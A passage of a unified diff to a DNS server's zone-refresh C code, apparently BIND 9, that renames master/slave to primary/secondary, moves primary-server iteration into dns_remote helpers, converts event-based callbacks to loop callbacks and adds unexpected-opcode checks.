-		goto next_master;
+		goto exiting;
 	}
 
-	isc_sockaddr_format(&zone->masteraddr, master, sizeof(master));
+	curraddr = dns_remote_curraddr(&zone->primaries);
+	isc_sockaddr_format(&curraddr, primary, sizeof(primary));
 	isc_sockaddr_format(&zone->sourceaddr, source, sizeof(source));
 
-	if (revent->result != ISC_R_SUCCESS) {
-		if (revent->result == ISC_R_TIMEDOUT &&
-		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS))
-		{
+	result = dns_request_getresult(request);
+	switch (result) {
+	case ISC_R_SUCCESS:
+		break;
+	case ISC_R_SHUTTINGDOWN:
+		goto exiting;
+	case ISC_R_TIMEDOUT:
+		if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS)) {
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOEDNS);
 			dns_zone_log(zone, ISC_LOG_DEBUG(1),
 				     "refreshing stub: timeout retrying "
-				     " without EDNS master %s (source %s)",
-				     master, source);
-			goto same_master;
+				     "without EDNS primary %s (source %s)",
+				     primary, source);
+			goto same_primary;
 		}
-		dns_zonemgr_unreachableadd(zone->zmgr, &zone->masteraddr,
+		FALLTHROUGH;
+	default:
+		dns_zonemgr_unreachableadd(zone->zmgr, &curraddr,
 					   &zone->sourceaddr, &now);
 		dns_zone_log(zone, ISC_LOG_INFO,
-			     "could not refresh stub from master %s"
-			     " (source %s): %s",
-			     master, source, dns_result_totext(revent->result));
-		goto next_master;
+			     "could not refresh stub from primary "
+			     "%s (source %s): %s",
+			     primary, source, isc_result_totext(result));
+		goto next_primary;
 	}
 
 	dns_message_create(zone->mctx, DNS_MESSAGE_INTENTPARSE, &msg);
 
-	result = dns_request_getresponse(revent->request, msg, 0);
+	result = dns_request_getresponse(request, msg, 0);
 	if (result != ISC_R_SUCCESS) {
-		goto next_master;
+		goto next_primary;
+	}
+
+	/*
+	 * Unexpected opcode.
+	 */
+	if (msg->opcode != dns_opcode_query) {
+		char opcode[128];
+		isc_buffer_t rb;
+
+		isc_buffer_init(&rb, opcode, sizeof(opcode));
+		(void)dns_opcode_totext(msg->opcode, &rb);
+
+		dns_zone_log(zone, ISC_LOG_INFO,
+			     "refreshing stub: "
+			     "unexpected opcode (%.*s) from %s (source %s)",
+			     (int)rb.used, opcode, primary, source);
+		goto next_primary;
 	}
 
 	/*
@@ -13349,48 +13237,48 @@ stub_callback(isc_task_t *task, isc_event_t *event) {
 		if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS) &&
 		    (msg->rcode == dns_rcode_servfail ||
 		     msg->rcode == dns_rcode_notimp ||
-		     msg->rcode == dns_rcode_formerr))
+		     (msg->rcode == dns_rcode_formerr && msg->opt == NULL)))
 		{
 			dns_zone_log(zone, ISC_LOG_DEBUG(1),
 				     "refreshing stub: rcode (%.*s) retrying "
-				     "without EDNS master %s (source %s)",
-				     (int)rb.used, rcode, master, source);
+				     "without EDNS primary %s (source %s)",
+				     (int)rb.used, rcode, primary, source);
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOEDNS);
-			goto same_master;
+			goto same_primary;
 		}
 
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: "
 			     "unexpected rcode (%.*s) from %s (source %s)",
-			     (int)rb.used, rcode, master, source);
-		goto next_master;
+			     (int)rb.used, rcode, primary, source);
+		goto next_primary;
 	}
 
 	/*
 	 * We need complete messages.
 	 */
 	if ((msg->flags & DNS_MESSAGEFLAG_TC) != 0) {
-		if (dns_request_usedtcp(revent->request)) {
+		if (dns_request_usedtcp(request)) {
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "refreshing stub: truncated TCP "
-				     "response from master %s (source %s)",
-				     master, source);
-			goto next_master;
+				     "response from primary %s (source %s)",
+				     primary, source);
+			goto next_primary;
 		}
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_USEVC);
-		goto same_master;
+		goto same_primary;
 	}
 
 	/*
-	 * If non-auth log and next master.
+	 * If non-auth log and next primary.
 	 */
 	if ((msg->flags & DNS_MESSAGEFLAG_AA) == 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: "
 			     "non-authoritative answer from "
-			     "master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	/*
@@ -13402,17 +13290,17 @@ stub_callback(isc_task_t *task, isc_event_t *event) {
 	if (cnamecnt != 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: unexpected CNAME response "
-			     "from master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "from primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	if (nscnt == 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: no NS records in response "
-			     "from master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "from primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	atomic_fetch_add(&stub->pending_requests, 1);
@@ -13425,13 +13313,12 @@ stub_callback(isc_task_t *task, isc_event_t *event) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: unable to save NS records "
-			     "from master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "from primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	dns_message_detach(&msg);
-	isc_event_free(&event);
 	dns_request_destroy(&zone->request);
 
 	/*
@@ -13447,7 +13334,11 @@ stub_callback(isc_task_t *task, isc_event_t *event) {
 	UNLOCK_ZONE(zone);
 	return;
 
-next_master:
+exiting:
+	zone_debuglog(zone, __func__, 1, "exiting");
+	exiting = true;
+
+next_primary:
 	isc_mem_put(zone->mctx, cb_args, sizeof(*cb_args));
 	if (stub->version != NULL) {
 		dns_db_closeversion(stub->db, &stub->version, false);
@@ -13458,66 +13349,29 @@ stub_callback(isc_task_t *task, isc_event_t *event) {
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
-	isc_event_free(&event);
 	dns_request_destroy(&zone->request);
 	/*
-	 * Skip to next failed / untried master.
+	 * Skip to next failed / untried primary.
 	 */
-	do {
-		zone->curmaster++;
-	} while (zone->curmaster < zone->masterscnt &&
-		 zone->mastersok[zone->curmaster]);
+	dns_remote_next(&zone->primaries, true);
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NOEDNS);
-	if (exiting || zone->curmaster >= zone->masterscnt) {
-		bool done = true;
-		if (!exiting &&
-		    DNS_ZONE_OPTION(zone, DNS_ZONEOPT_USEALTXFRSRC) &&
-		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEALTXFRSRC))
-		{
-			/*
-			 * Did we get a good answer from all the primaries?
-			 */
-			for (j = 0; j < zone->masterscnt; j++) {
-				if (!zone->mastersok[j]) {
-					{
-						done = false;
-						break;
-					}
-				}
-			}
-		} else {
-			done = true;
-		}
-		if (!done) {
-			zone->curmaster = 0;
-			/*
-			 * Find the next failed master.
-			 */
-			while (zone->curmaster < zone->masterscnt &&
-			       zone->mastersok[zone->curmaster]) {
-				zone->curmaster++;
-			}
-			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_USEALTXFRSRC);
-		} else {
-			DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_REFRESH);
-
-			zone_settimer(zone, &now);
-			goto free_stub;
-		}
+	if (exiting || dns_remote_done(&zone->primaries)) {
+		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_REFRESH);
+		zone_settimer(zone, &now);
+		goto free_stub;
 	}
 	queue_soa_query(zone);
 	goto free_stub;
 
-same_master:
+same_primary:
 	isc_mem_put(zone->mctx, cb_args, sizeof(*cb_args));
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
-	isc_event_free(&event);
 	dns_request_destroy(&zone->request);
 	ns_query(zone, NULL, stub);
 	UNLOCK_ZONE(zone);
-	goto done;
+	return;
 
 free_stub:
 	UNLOCK_ZONE(zone);
@@ -13526,10 +13380,6 @@ stub_callback(isc_task_t *task, isc_event_t *event) {
 	INSIST(stub->db == NULL);
 	INSIST(stub->version == NULL);
 	isc_mem_put(stub->mctx, stub, sizeof(*stub));
-
-done:
-	INSIST(event == NULL);
-	return;
 }
 
 /*
@@ -13602,7 +13452,7 @@ setmodtime(dns_zone_t *zone, isc_time_t *expiretime) {
 	}
 	if (result == ISC_R_SUCCESS &&
 	    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDDUMP) &&
-	    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDDUMP))
+	    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DUMPING))
 	{
 		result = isc_file_settime(zone->masterfile, &when);
 	} else if (result != ISC_R_SUCCESS) {
@@ -13618,7 +13468,7 @@ setmodtime(dns_zone_t *zone, isc_time_t *expiretime) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "refresh: could not set "
 			     "file modification time of '%s': %s",
-			     zone->masterfile, dns_result_totext(result));
+			     zone->masterfile, isc_result_totext(result));
 	}
 }
 
@@ -13626,72 +13476,67 @@ setmodtime(dns_zone_t *zone, isc_time_t *expiretime) {
  * An SOA query has finished (successfully or not).
  */
 static void
-refresh_callback(isc_task_t *task, isc_event_t *event) {
-	const char me[] = "refresh_callback";
-	dns_requestevent_t *revent = (dns_requestevent_t *)event;
-	dns_zone_t *zone;
+refresh_callback(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	dns_zone_t *zone = dns_request_getarg(request);
 	dns_message_t *msg = NULL;
 	uint32_t soacnt, cnamecnt, soacount, nscount;
 	isc_time_t now;
-	char master[ISC_SOCKADDR_FORMATSIZE];
+	char primary[ISC_SOCKADDR_FORMATSIZE];
 	char source[ISC_SOCKADDR_FORMATSIZE];
 	dns_rdataset_t *rdataset = NULL;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_rdata_soa_t soa;
 	isc_result_t result;
+	isc_sockaddr_t curraddr;
 	uint32_t serial, oldserial = 0;
-	unsigned int j;
 	bool do_queue_xfrin = false;
 
-	zone = revent->ev_arg;
 	INSIST(DNS_ZONE_VALID(zone));
 
-	UNUSED(task);
-
 	ENTER;
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
 	LOCK_ZONE(zone);
 
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
-		isc_event_free(&event);
-		dns_request_destroy(&zone->request);
-		goto detach;
+		goto exiting;
 	}
 
 	/*
-	 * if timeout log and next master;
+	 * If timeout, log and try the next primary
 	 */
-
-	isc_sockaddr_format(&zone->masteraddr, master, sizeof(master));
+	curraddr = dns_remote_curraddr(&zone->primaries);
+	isc_sockaddr_format(&curraddr, primary, sizeof(primary));
 	isc_sockaddr_format(&zone->sourceaddr, source, sizeof(source));
 
-	if (revent->result != ISC_R_SUCCESS) {
-		if (revent->result == ISC_R_TIMEDOUT &&
-		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS))
-		{
+	switch (dns_request_getresult(request)) {
+	case ISC_R_SUCCESS:
+		break;
+	case ISC_R_SHUTTINGDOWN:
+		goto exiting;
+	case ISC_R_TIMEDOUT:
+		if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS)) {
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOEDNS);
 			dns_zone_log(zone, ISC_LOG_DEBUG(1),
 				     "refresh: timeout retrying without EDNS "
-				     "master %s (source %s)",
-				     master, source);
-			goto same_master;
-		}
-		if (revent->result == ISC_R_TIMEDOUT &&
-		    !dns_request_usedtcp(revent->request)) {
+				     "primary %s (source %s)",
+				     primary, source);
+			goto same_primary;
+		} else if (!dns_request_usedtcp(request)) {
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "refresh: retry limit for "
-				     "master %s exceeded (source %s)",
-				     master, source);
-			/* Try with slave with TCP. */
-			if ((zone->type == dns_zone_slave ||
+				     "primary %s exceeded (source %s)",
+				     primary, source);
+			/* Try with secondary with TCP. */
+			if ((zone->type == dns_zone_secondary ||
 			     zone->type == dns_zone_mirror ||
 			     zone->type == dns_zone_redirect) &&
 			    DNS_ZONE_OPTION(zone, DNS_ZONEOPT_TRYTCPREFRESH))
 			{
 				if (!dns_zonemgr_unreachable(
-					    zone->zmgr, &zone->masteraddr,
+					    zone->zmgr, &curraddr,
 					    &zone->sourceaddr, &now))
 				{
 					DNS_ZONE_SETFLAG(
@@ -13701,28 +13546,47 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 				}
 				dns_zone_log(zone, ISC_LOG_DEBUG(1),
 					     "refresh: skipped tcp fallback "
-					     "as master %s (source %s) is "
+					     "as primary %s (source %s) is "
 					     "unreachable (cached)",
-					     master, source);
+					     primary, source);
 			}
-		} else {
-			dns_zone_log(zone, ISC_LOG_INFO,
-				     "refresh: failure trying master "
-				     "%s (source %s): %s",
-				     master, source,
-				     dns_result_totext(revent->result));
+			goto next_primary;
 		}
-		goto next_master;
+		FALLTHROUGH;
+	default:
+		dns_zone_log(zone, ISC_LOG_INFO,
+			     "refresh: failure trying primary "
+			     "%s (source %s): %s",
+			     primary, source,
+			     isc_result_totext(dns_request_getresult(request)));
+		goto next_primary;
 	}
 
 	dns_message_create(zone->mctx, DNS_MESSAGE_INTENTPARSE, &msg);
-	result = dns_request_getresponse(revent->request, msg, 0);
+	result = dns_request_getresponse(request, msg, 0);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_INFO,
-			     "refresh: failure trying master "
+			     "refresh: failure trying primary "
 			     "%s (source %s): %s",
-			     master, source, dns_result_totext(result));
-		goto next_master;
+			     primary, source, isc_result_totext(result));
+		goto next_primary;
+	}
+
+	/*
+	 * Unexpected opcode.
+	 */
+	if (msg->opcode != dns_opcode_query) {
+		char opcode[128];
+		isc_buffer_t rb;
+
+		isc_buffer_init(&rb, opcode, sizeof(opcode));
+		(void)dns_opcode_totext(msg->opcode, &rb);
+
+		dns_zone_log(zone, ISC_LOG_INFO,
+			     "refresh: "
+			     "unexpected opcode (%.*s) from %s (source %s)",
+			     (int)rb.used, opcode, primary, source);
+		goto next_primary;
 	}
 
 	/*
@@ -13738,79 +13602,81 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 		if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS) &&
 		    (msg->rcode == dns_rcode_servfail ||
 		     msg->rcode == dns_rcode_notimp ||
-		     msg->rcode == dns_rcode_formerr))
+		     (msg->rcode == dns_rcode_formerr && msg->opt == NULL)))
 		{
 			dns_zone_log(zone, ISC_LOG_DEBUG(1),
 				     "refresh: rcode (%.*s) retrying without "
-				     "EDNS master %s (source %s)",
-				     (int)rb.used, rcode, master, source);
+				     "EDNS primary %s (source %s)",
+				     (int)rb.used, rcode, primary, source);
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOEDNS);
-			goto same_master;
+			goto same_primary;
 		}
 		if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS) &&
-		    msg->rcode == dns_rcode_badvers) {
+		    msg->rcode == dns_rcode_badvers)
+		{
 			dns_zone_log(zone, ISC_LOG_DEBUG(1),
 				     "refresh: rcode (%.*s) retrying without "
-				     "EDNS EXPIRE OPTION master %s (source %s)",
-				     (int)rb.used, rcode, master, source);
+				     "EDNS EXPIRE OPTION primary %s "
+				     "(source %s)",
+				     (int)rb.used, rcode, primary, source);
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOEDNS);
-			goto same_master;
+			goto same_primary;
 		}
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: unexpected rcode (%.*s) from "
-			     "master %s (source %s)",
-			     (int)rb.used, rcode, master, source);
+			     "primary %s (source %s)",
+			     (int)rb.used, rcode, primary, source);
 		/*
 		 * Perhaps AXFR/IXFR is allowed even if SOA queries aren't.
 		 */
 		if (msg->rcode == dns_rcode_refused &&
-		    (zone->type == dns_zone_slave ||
+		    (zone->type == dns_zone_secondary ||
 		     zone->type == dns_zone_mirror ||
 		     zone->type == dns_zone_redirect))
 		{
 			goto tcp_transfer;
 		}
-		goto next_master;
+		goto next_primary;
 	}
 
 	/*
 	 * If truncated punt to zone transfer which will query again.
 	 */
 	if ((msg->flags & DNS_MESSAGEFLAG_TC) != 0) {
-		if (zone->type == dns_zone_slave ||
+		if (zone->type == dns_zone_secondary ||
 		    zone->type == dns_zone_mirror ||
 		    zone->type == dns_zone_redirect)
 		{
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "refresh: truncated UDP answer, "
 				     "initiating TCP zone xfer "
-				     "for master %s (source %s)",
-				     master, source);
+				     "for primary %s (source %s)",
+				     primary, source);
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_SOABEFOREAXFR);
 			goto tcp_transfer;
 		} else {
 			INSIST(zone->type == dns_zone_stub);
-			if (dns_request_usedtcp(revent->request)) {
+			if (dns_request_usedtcp(request)) {
 				dns_zone_log(zone, ISC_LOG_INFO,
 					     "refresh: truncated TCP response "
-					     "from master %s (source %s)",
-					     master, source);
-				goto next_master;
+					     "from primary %s (source %s)",
+					     primary, source);
+				goto next_primary;
 			}
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_USEVC);
-			goto same_master;
+			goto same_primary;
 		}
 	}
 
 	/*
-	 * if non-auth log and next master;
+	 * If non-auth, log and try the next primary
 	 */
 	if ((msg->flags & DNS_MESSAGEFLAG_AA) == 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: non-authoritative answer from "
-			     "master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	cnamecnt = message_count(msg, DNS_SECTION_ANSWER, dns_rdatatype_cname);
@@ -13824,31 +13690,31 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 	if (cnamecnt != 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: CNAME at top of zone "
-			     "in master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "in primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	/*
-	 * if referral log and next master;
+	 * If referral, log and try the next primary;
 	 */
 	if (soacnt == 0 && soacount == 0 && nscount != 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: referral response "
-			     "from master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "from primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	/*
-	 * if nodata log and next master;
+	 * If nodata, log and try the next primary;
 	 */
 	if (soacnt == 0 && (nscount == 0 || soacount != 0)) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: NODATA response "
-			     "from master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "from primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	/*
@@ -13857,9 +13723,9 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 	if (soacnt != 1) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: answer SOA count (%d) != 1 "
-			     "from master %s (source %s)",
-			     soacnt, master, source);
-		goto next_master;
+			     "from primary %s (source %s)",
+			     soacnt, primary, source);
+		goto next_primary;
 	}
 
 	/*
@@ -13872,16 +13738,16 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: unable to get SOA record "
-			     "from master %s (source %s)",
-			     master, source);
-		goto next_master;
+			     "from primary %s (source %s)",
+			     primary, source);
+		goto next_primary;
 	}
 
 	result = dns_rdataset_first(rdataset);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refresh: dns_rdataset_first() failed");
-		goto next_master;
+		goto next_primary;
 	}
 
 	dns_rdataset_current(rdataset, &rdata);
@@ -13896,35 +13762,34 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 					  NULL, NULL);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		RUNTIME_CHECK(dbsoacount > 0U);
-		zone_debuglog(zone, me, 1, "serial: new %u, old %u", serial,
-			      oldserial);
+		zone_debuglog(zone, __func__, 1, "serial: new %u, old %u",
+			      serial, oldserial);
 	} else {
-		zone_debuglog(zone, me, 1, "serial: new %u, old not loaded",
-			      serial);
+		zone_debuglog(zone, __func__, 1,
+			      "serial: new %u, old not loaded", serial);
 	}
 
 	if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED) ||
 	    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_FORCEXFER) ||
 	    isc_serial_gt(serial, oldserial))
 	{
-		if (dns_zonemgr_unreachable(zone->zmgr, &zone->masteraddr,
+		if (dns_zonemgr_unreachable(zone->zmgr, &curraddr,
 					    &zone->sourceaddr, &now))
 		{
 			dns_zone_log(zone, ISC_LOG_INFO,
-				     "refresh: skipping %s as master %s "
+				     "refresh: skipping %s as primary %s "
 				     "(source %s) is unreachable (cached)",
-				     (zone->type == dns_zone_slave ||
+				     (zone->type == dns_zone_secondary ||
 				      zone->type == dns_zone_mirror ||
 				      zone->type == dns_zone_redirect)
 					     ? "zone transfer"
 					     : "NS query",
-				     master, source);
-			goto next_master;
+				     primary, source);
+			goto next_primary;
 		}
 	tcp_transfer:
-		isc_event_free(&event);
 		dns_request_destroy(&zone->request);
-		if (zone->type == dns_zone_slave ||
+		if (zone->type == dns_zone_secondary ||
 		    zone->type == dns_zone_mirror ||
 		    zone->type == dns_zone_redirect)
 		{
@@ -13958,89 +13823,56 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 		}
 
 		DNS_ZONE_JITTER_ADD(&now, zone->refresh, &zone->refreshtime);
-		zone->mastersok[zone->curmaster] = true;
-		goto next_master;
+		dns_remote_mark(&zone->primaries, true);
+		goto next_primary;
 	} else {
 		if (!DNS_ZONE_OPTION(zone, DNS_ZONEOPT_MULTIMASTER)) {
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "serial number (%u) "
-				     "received from master %s < ours (%u)",
-				     soa.serial, master, oldserial);
+				     "received from primary %s < ours (%u)",
+				     soa.serial, primary, oldserial);
 		} else {
-			zone_debuglog(zone, me, 1, "ahead");
+			zone_debuglog(zone, __func__, 1, "ahead");
 		}
-		zone->mastersok[zone->curmaster] = true;
-		goto next_master;
+		dns_remote_mark(&zone->primaries, true);
+		goto next_primary;
 	}
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
 	goto detach;
 
-next_master:
+next_primary:
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
-	isc_event_free(&event);
 	dns_request_destroy(&zone->request);
 	/*
-	 * Skip to next failed / untried master.
+	 * Skip to next failed / untried primary.
 	 */
-	do {
-		zone->curmaster++;
-	} while (zone->curmaster < zone->masterscnt &&
-		 zone->mastersok[zone->curmaster]);
+	dns_remote_next(&zone->primaries, true);
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NOEDNS);
-	if (zone->curmaster >= zone->masterscnt) {
-		bool done = true;
-		if (DNS_ZONE_OPTION(zone, DNS_ZONEOPT_USEALTXFRSRC) &&
-		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEALTXFRSRC))
-		{
-			/*
-			 * Did we get a good answer from all the primaries?
-			 */
-			for (j = 0; j < zone->masterscnt; j++) {
-				if (!zone->mastersok[j]) {
-					{
-						done = false;
-						break;
-					}
-				}
-			}
-		} else {
-			done = true;
-		}
-		if (!done) {
-			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_USEALTXFRSRC);
-			zone->curmaster = 0;
-			/*
-			 * Find the next failed master.
-			 */
-			while (zone->curmaster < zone->masterscnt &&
-			       zone->mastersok[zone->curmaster]) {
-				zone->curmaster++;
-			}
-			goto requeue;
-		}
+	if (dns_remote_done(&zone->primaries)) {
 		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_REFRESH);
 		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDREFRESH)) {
 			DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NEEDREFRESH);
 			zone->refreshtime = now;
 		}
-		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_USEALTXFRSRC);
 		zone_settimer(zone, &now);
 		goto detach;
 	}
 
-requeue:
 	queue_soa_query(zone);
 	goto detach;
 
-same_master:
+exiting:
+	dns_request_destroy(&zone->request);
+	goto detach;
+
+same_primary:
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
-	isc_event_free(&event);
 	dns_request_destroy(&zone->request);
 	queue_soa_query(zone);
 
@@ -14053,12 +13885,15 @@ refresh_callback(isc_task_t *task, isc_event_t *event) {
 	return;
 }
 
+struct soaquery {
+	dns_zone_t *zone;
+	isc_rlevent_t *rlevent;
+};
+
 static void
 queue_soa_query(dns_zone_t *zone) {
-	const char me[] = "queue_soa_query";
-	isc_event_t *e;
-	dns_zone_t *dummy = NULL;
 	isc_result_t result;
+	struct soaquery *sq = NULL;
 
 	ENTER;
 	/*
@@ -14071,52 +13906,45 @@ queue_soa_query(dns_zone_t *zone) {
 		return;
 	}
 
-	e = isc_event_allocate(zone->mctx, NULL, DNS_EVENT_ZONE, soa_query,
-			       zone, sizeof(isc_event_t));
+	sq = isc_mem_get(zone->mctx, sizeof(*sq));
+	*sq = (struct soaquery){ .zone = NULL };
 
 	/*
-	 * Attach so that we won't clean up
-	 * until the event is delivered.
+	 * Attach so that we won't clean up until the event is delivered.
 	 */
-	zone_iattach(zone, &dummy);
-
-	e->ev_arg = zone;
-	e->ev_sender = NULL;
-	result = isc_ratelimiter_enqueue(zone->zmgr->refreshrl, zone->task, &e);
+	zone_iattach(zone, &sq->zone);
+	result = isc_ratelimiter_enqueue(zone->zmgr->refreshrl, zone->loop,
+					 soa_query, sq, &sq->rlevent);
 	if (result != ISC_R_SUCCESS) {
-		zone_idetach(&dummy);
-		isc_event_free(&e);
+		zone_idetach(&sq->zone);
+		isc_mem_put(zone->mctx, sq, sizeof(*sq));
 		cancel_refresh(zone);
 	}
 }
 
 static void
-soa_query(isc_task_t *task, isc_event_t *event) {
-	const char me[] = "soa_query";
+soa_query(void *arg) {
+	struct soaquery *sq = (struct soaquery *)arg;
+	dns_zone_t *zone = sq->zone;
 	isc_result_t result = ISC_R_FAILURE;
 	dns_message_t *message = NULL;
-	dns_zone_t *zone = event->ev_arg;
-	dns_zone_t *dummy = NULL;
-	isc_netaddr_t masterip;
+	isc_netaddr_t primaryip;
 	dns_tsigkey_t *key = NULL;
 	dns_transport_t *transport = NULL;
 	uint32_t options;
 	bool cancel = true;
 	int timeout;
-	bool have_xfrsource, have_xfrdscp, reqnsid, reqexpire;
+	bool have_xfrsource = false, reqnsid, reqexpire;
 	uint16_t udpsize = SEND_BUFFER_SIZE;
-	isc_dscp_t dscp = -1;
+	isc_sockaddr_t curraddr, sourceaddr;
 	bool do_queue_xfrin = false;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	UNUSED(task);
-
 	ENTER;
 
 	LOCK_ZONE(zone);
-	if (((event->ev_attributes & ISC_EVENTATTR_CANCELED) != 0) ||
-	    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING) ||
+	if (sq->rlevent->canceled || DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING) ||
 	    zone->view->requestmgr == NULL)
 	{
 		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
@@ -14126,46 +13954,48 @@ soa_query(isc_task_t *task, isc_event_t *event) {
 	}
 
 again:
-	INSIST(zone->masterscnt > 0);
-	INSIST(zone->curmaster < zone->masterscnt);
+	dns_zone_log(
+		zone, ISC_LOG_DEBUG(3),
+		"soa_query: remote server current address index %d count %d",
+		zone->primaries.curraddr, zone->primaries.addrcnt);
+	INSIST(dns_remote_count(&zone->primaries) > 0);
+	INSIST(!dns_remote_done(&zone->primaries));
 
-	zone->masteraddr = zone->masters[zone->curmaster];
+	sourceaddr = dns_remote_sourceaddr(&zone->primaries);
+	curraddr = dns_remote_curraddr(&zone->primaries);
+	isc_netaddr_fromsockaddr(&primaryip, &curraddr);
 
-	isc_netaddr_fromsockaddr(&masterip, &zone->masteraddr);
 	/*
-	 * First, look for a tsig key in the master statement, then
+	 * First, look for a tsig key in the primaries statement, then
 	 * try for a server key.
 	 */
-	if ((zone->masterkeynames != NULL) &&
-	    (zone->masterkeynames[zone->curmaster] != NULL))
-	{
+	if (dns_remote_keyname(&zone->primaries) != NULL) {
 		dns_view_t *view = dns_zone_getview(zone);
-		dns_name_t *keyname = zone->masterkeynames[zone->curmaster];
+		dns_name_t *keyname = dns_remote_keyname(&zone->primaries);
 		result = dns_view_gettsig(view, keyname, &key);
 		if (result != ISC_R_SUCCESS) {
 			char namebuf[DNS_NAME_FORMATSIZE];
 			dns_name_format(keyname, namebuf, sizeof(namebuf));
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "unable to find key: %s", namebuf);
-			goto skip_master;
+			goto skip_primary;
 		}
 	}
 	if (key == NULL) {
-		result = dns_view_getpeertsig(zone->view, &masterip, &key);
+		result = dns_view_getpeertsig(zone->view, &primaryip, &key);
 		if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
 			char addrbuf[ISC_NETADDR_FORMATSIZE];
-			isc_netaddr_format(&masterip, addrbuf, sizeof(addrbuf));
+			isc_netaddr_format(&primaryip, addrbuf,
+					   sizeof(addrbuf));
 			dns_zone_log(zone, ISC_LOG_ERROR,
